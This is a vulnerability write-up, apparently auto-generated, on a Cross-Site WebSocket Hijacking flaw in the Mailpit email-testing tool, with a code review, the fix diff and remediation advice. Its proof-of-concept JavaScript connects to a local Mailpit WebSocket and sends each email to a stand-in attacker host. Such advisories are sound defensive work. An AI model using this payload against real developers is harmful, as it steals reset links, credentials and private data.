CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-22689

Mailpit CSWSH: When Localhost Spills Its Secrets

Alon Barad
Alon Barad
Software Engineer

Feb 20, 2026·6 min read·45 visits

Executive Summary (TL;DR)

Mailpit < 1.28.2 explicitly disabled WebSocket Origin checks. A malicious site can connect to your local Mailpit instance (ws://localhost:8025) and steal all your test emails.

A critical Cross-Site WebSocket Hijacking (CSWSH) vulnerability in Mailpit allows remote attackers to spy on local development environments. By failing to validate the WebSocket Origin header, Mailpit permits any malicious website visited by a developer to establish a persistent connection to the local Mailpit instance. This allows the attacker to siphon off email contents, password reset tokens, and other sensitive data generated during development testing in real-time.

The Developer's Honey Pot

Mailpit is the darling of the developer world right now. It is a spiritual successor to Mailhog—a tool you run locally to 'trap' emails sent by your application during development. Instead of spamming real users with 'test test 123' emails, your app sends them to localhost:1025, and Mailpit catches them, displaying them in a slick web UI on port 8025.

To make that UI feel snappy and reactive, Mailpit uses WebSockets. When a new email arrives, the server pushes it instantly to the browser. It’s convenient, fast, and modern. But here is the catch: tools designed for 'local development' often treat security as an optional DLC. The assumption is, "It's running on my machine, behind my NAT, so who cares?"

CVE-2026-22689 is the wake-up call for that mindset. It turns out that if you leave your front door open, it doesn't matter if your house is in a gated community; anyone who walks by can still walk in. In this case, the 'open door' was a WebSocket configuration that explicitly invited the entire internet to listen in on your private development traffic.

The 'Yes Man' Configuration

The vulnerability lies in how Mailpit handled the WebSocket handshake. The WebSocket protocol (RFC 6455) includes a security mechanism to prevent Cross-Site WebSocket Hijacking (CSWSH). When a browser initiates a WebSocket connection, it sends an Origin header indicating where the request is coming from (e.g., http://localhost:8025).

The server is supposed to check this header. If the origin is trusted (i.e., it matches the server's own domain), the connection is allowed. If it's http://sketchy-malware-site.com, the server should slam the door. This is standard procedure. It is the bouncer checking ID at the club.

Mailpit, however, fired the bouncer. Instead of validating the Origin, the application was hardcoded to accept everything. This isn't a bug in the code logic per se; it was a deliberate configuration choice—likely to avoid CORS headaches during development—that had catastrophic security implications. By returning true to every handshake request, Mailpit allowed any website running in your browser to bind to your local WebSocket server.

Code Review: The Smoking Gun

Let's look at the code. Mailpit is written in Go and uses the popular gorilla/websocket library. This library is secure by default—if you don't touch the CheckOrigin field, it enforces strict same-origin policies. But the developers went out of their way to override this safety net.

Here is the vulnerable code in server/websockets/client.go:

var upgrader = websocket.Upgrader{
    ReadBufferSize:    1024,
    WriteBufferSize:   1024,
    CheckOrigin:       func(r *http.Request) bool { return true }, // <--- THE BUG
    EnableCompression: true,
}

See that CheckOrigin function? It takes the HTTP request r, ignores it completely, and returns true. It is the programming equivalent of a security guard waving everyone through without looking up from their phone.

The fix, applied in commit 6f1f4f34c98989fd873261018fb73830b30aec3f, was delightfully simple: they just deleted the bad code.

 var upgrader = websocket.Upgrader{
     ReadBufferSize:    1024,
     WriteBufferSize:   1024,
-    CheckOrigin:       func(r *http.Request) bool { return true }, // allow multi-domain
-    EnableCompression: true,                                       // experimental compression
+    EnableCompression: true,
 }

By removing the custom function, gorilla/websocket reverts to its default behavior, which checks that the Origin header matches the Host header. Sanity restored.

Exploitation: Drive-By Email Theft

How does an attacker actually pull this off? They don't need to hack your firewall. They just need you to visit a website. It could be a malicious ad, a typo-squatted domain, or a compromised blog you read for coding tips.

Here is the attack chain:

  1. The Trap: The attacker hosts a page with the following JavaScript.
  2. The Hook: You visit the page while Mailpit is running in the background (which it almost always is for devs).
  3. The Siphon: The JS opens a WebSocket connection to ws://localhost:8025/api/events.

Because the browser sees localhost as a distinct origin but does not block the WebSocket initiation (SOP is looser for WebSockets), the request goes out. Because Mailpit says "Yes" to everyone, the connection opens.

// Simple PoC for CVE-2026-22689
const socket = new WebSocket('ws://localhost:8025/api/events');
 
socket.onopen = function() {
    console.log('[+] Connected to local Mailpit!');
};
 
socket.onmessage = function(event) {
    const email = JSON.parse(event.data);
    // Exfiltrate the email data to the attacker's server
    fetch('https://attacker.com/collect', {
        method: 'POST',
        body: JSON.stringify(email)
    });
    console.log('[!] Email stolen:', email.Subject);
};

From that point on, every time your local app sends a password reset email or a magic link login, the attacker gets a copy instantly. They can click that link before you do.

The Fallout: Why Localhost Isn't Las Vegas

Developers often joke that "what happens on localhost stays on localhost." This vulnerability proves that adage dead wrong. The impact here is high confidentiality loss.

Consider what data flows through Mailpit. It's not just "Lorem Ipsum" text. It is:

  • Password Reset Links: Giving the attacker account takeover on your local admin accounts.
  • Magic Links: Instant authentication.
  • PII: Real customer data is often dumped into dev environments for reproduction purposes (we tell you not to, but we know you do it).
  • API Keys: Often sent in welcome emails or error logs trapped by Mailpit.

This is a classic "Cross-Site" attack. The attacker bridges the gap between the public internet and your private loopback interface. It turns your browser into a proxy that bypasses your firewall.

Remediation: Locking the Gate

The immediate fix is to update Mailpit to version 1.28.2 or later. If you installed via Go, run:

go install github.com/axllent/mailpit@latest

If you are using Docker, pull the latest image. The patch removes the permissive CheckOrigin bypass, forcing the browser's Origin to match the server's Host.

> [!WARNING] > Residual Risk: DNS Rebinding > Even with the patch, local tools like Mailpit can be vulnerable to DNS Rebinding. An attacker can map a domain they control (e.g., attacker.com) to 127.0.0.1 with a short TTL. If they can trick your browser into accessing attacker.com:8025, the browser sends Host: attacker.com:8025 and Origin: attacker.com. Since they match, the default WebSocket check might pass. The only true fix is for local tools to explicitly validate that the Host header is strictly localhost or 127.0.0.1.

Official Patches

MailpitGitHub Commit fixing the issue
MailpitRelease notes for v1.28.2

Fix Analysis (1)

Technical Appendix

CVSS Score
6.5/ 10
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
EPSS Probability
0.01%
Top 100% most exploited

Affected Systems

Mailpit < 1.28.2

Affected Versions Detail

Product
Affected Versions
Fixed Version
Mailpit
axllent
< 1.28.21.28.2
AttributeDetail
CWE IDCWE-1385
Attack VectorNetwork (Cross-Site via Browser)
CVSS Score6.5 (Medium)
EPSS Score0.00006
Exploit StatusTrivial (No public weaponized script, but easy to write)
ImpactConfidentiality (High)

MITRE ATT&CK Mapping

T1557Adversary-in-the-Middle
Credential Access
T1593Search Open Websites/Domains
Reconnaissance
CWE-1385
Missing Origin Validation in WebSockets

The application does not verify or incorrectly verifies the Origin header in a WebSocket handshake, allowing a malicious site to communicate with the WebSocket server.

Known Exploits & Detection

Internal ResearchTrivial JavaScript one-liner to connect to ws://localhost:8025

Vulnerability Timeline

Vulnerability identified in internal audits
2026-01-05
Patch released in v1.28.2
2026-01-10
CVE-2026-22689 published
2026-01-10

References & Sources

  • [1]GHSA Advisory
  • [2]Understanding CSWSH Attacks

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•34 minutes ago•CVE-2026-113872
7.5

CVE-2026-113872: Unauthenticated Process Crash in Express Multer via Late Busboy Stream Resumption

CVE-2026-113872 (GHSA-q7qp-rjg7-q26m) is a high-severity denial-of-service vulnerability affecting the multer multipart/form-data upload middleware for Node.js and Express in versions 2.0.0 through 2.4.0. When an endpoint is configured to accept multiple files using an asynchronous fileFilter callback, a crafted, truncated multipart HTTP request can trigger an unhandled error event on the underlying busboy stream parser after request teardown has already completed. Because all error listeners are stripped during teardown, Node.js treats the resulting error event as an uncaught exception and immediately terminates the server process.

Amit Schendel
Amit Schendel
1 views•12 min read
•about 2 hours ago•CVE-2026-115897
2.1

CVE-2026-115897: Cross-Site Scripting via Function Body Boundary Bypass in serialize-javascript

CVE-2026-115897 (also tracked as GHSA-m5mm-p8h7-m29v and aliased as CVE-2026-115754) is a Cross-Site Scripting (XSS) vulnerability in the Yahoo serialize-javascript npm package prior to version 7.1.3. The flaw exists in the regular expression used by escapeFunctionBody() to neutralize HTML script closing tags within serialized JavaScript functions. Because function bodies are sanitized in isolation before structural formatting is applied, a function whose string representation terminates directly with the sequence '</script' bypasses the positive lookahead check. When combined with serialization formatting options that introduce whitespace delimiters and a subsequent property that supplies a closing bracket, an attacker can prematurely terminate an enclosing HTML <script> block and inject arbitrary HTML or JavaScript into the rendered document.

Amit Schendel
Amit Schendel
2 views•13 min read
•about 3 hours ago•CVE-2026-109841
5.9

CVE-2026-109841: Subresource Integrity Verification Bypass in Node.js Undici

CVE-2026-109841 is a Subresource Integrity (SRI) verification bypass vulnerability in undici, the official HTTP/1.1 and HTTP/2 client library for Node.js that powers the global fetch() implementation. The flaw stems from improper handling of case sensitivity (CWE-178) when validating cryptographic hash algorithm tokens within SRI metadata. Because undici compared incoming algorithm identifiers against a strictly lowercase set without prior ASCII-lowercase normalization, valid uppercase or mixed-case tokens such as SHA256- or Sha384- were treated as unrecognized algorithms and discarded. Under SRI forward-compatibility rules, discarding all provided tokens results in an empty integrity list, causing undici to fail open and accept tampered HTTP response bodies without cryptographic verification.

Alon Barad
Alon Barad
1 views•9 min read
•about 4 hours ago•CVE-2026-109924
5.9

CVE-2026-109924: Unbounded Memory Allocation in Node.js Undici EventSource Stream Parser

A resource allocation vulnerability (CWE-770) exists in the Server-Sent Events (SSE) parser within the Node.js undici HTTP client library. In affected versions, the EventSourceStream implementation fails to restrict the count of internal Buffer chunk references and accumulated string nodes prior to event dispatch boundaries. A malicious or compromised SSE endpoint can exploit this behavior by streaming fragmented, unterminated lines or continuous sequences of short data fields without empty separator lines, bypassing configured byte-size limits and causing a fatal Out-of-Memory (OOM) crash in the client Node.js process.

Amit Schendel
Amit Schendel
4 views•11 min read
•about 4 hours ago•CVE-2026-109869
7.5

CVE-2026-109869: Denial of Service via Orphaned Stream in Node.js Undici Fetch Implementation

CVE-2026-109869 is a high-severity denial-of-service vulnerability in undici, the default HTTP/1.1 client and Fetch implementation for Node.js. When a server responds with more than five Content-Encoding directives and prematurely closes the connection before transmitting the body, undici allocates an internal Readable stream before enforcing the content-encoding limit. Upon rejecting the fetch promise, the stream is orphaned without an error listener or abort signal, causing the premature socket closure to emit an unhandled stream error that terminates the Node.js process.

Alon Barad
Alon Barad
6 views•10 min read
•about 4 hours ago•CVE-2026-114612
9.9

CVE-2026-114612: Privilege Escalation to Proxy Admin via Cryptographic Context Reuse in LiteLLM

LiteLLM versions 1.87.0 through 1.104.0-rc.1 contain a cryptographic domain separation vulnerability (CWE-269, CWE-345, CWE-441) that allows an authenticated low-privilege user to escalate privileges to full proxy administrator. The application reuses a single symmetric cryptographic context and key derivation path for both at-rest secret encryption and ephemeral UI/CLI session authentication tokens without providing Associated Authenticated Data (AAD). By submitting crafted JSON session claims into user-accessible encrypted metadata fields, an attacker can use the API-key generation flow as an encryption oracle, extract the resulting ciphertext, and replay it as a bearer token to achieve administrative control and subsequent remote command execution via the Model Context Protocol (MCP) stdio interface.

Alon Barad
Alon Barad
8 views•9 min read